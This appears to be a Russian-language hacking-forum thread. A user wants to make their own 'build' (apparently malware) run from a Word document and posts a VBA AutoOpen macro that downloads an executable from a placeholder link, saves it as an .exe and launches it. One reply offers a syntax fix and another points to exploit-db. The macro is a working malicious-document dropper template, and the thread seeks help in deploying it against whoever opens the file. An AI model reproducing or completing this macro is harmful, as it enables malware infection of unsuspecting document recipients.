Подскажите скрипт

Всем привет интересует скрипт для макроса в word
За ране прошу прощения за некорректное выражение объясню как могу
У меня есть свой билд
Мне нужно настроить макрос в Word чтоб при открытии документа исполнялся макрос на скачивания и после запуска моего билда нашел в сети такой скрипт что то не получается с ним :

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "Прямая ссылка на загрузку файла", False
xHttp.Send

With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "Название файла.exe", 2 '//overwrite
End With

Shell ("Название файла.exe")

End Sub

Помогите

 

В xHttp.Open скобок не хватает )ж

 

Есть сайт, он очень известен, чтобы его называть.
Ну-хорошо, не буду занудой, имя сайта exploit-db
зайди и выбери себе подходящее.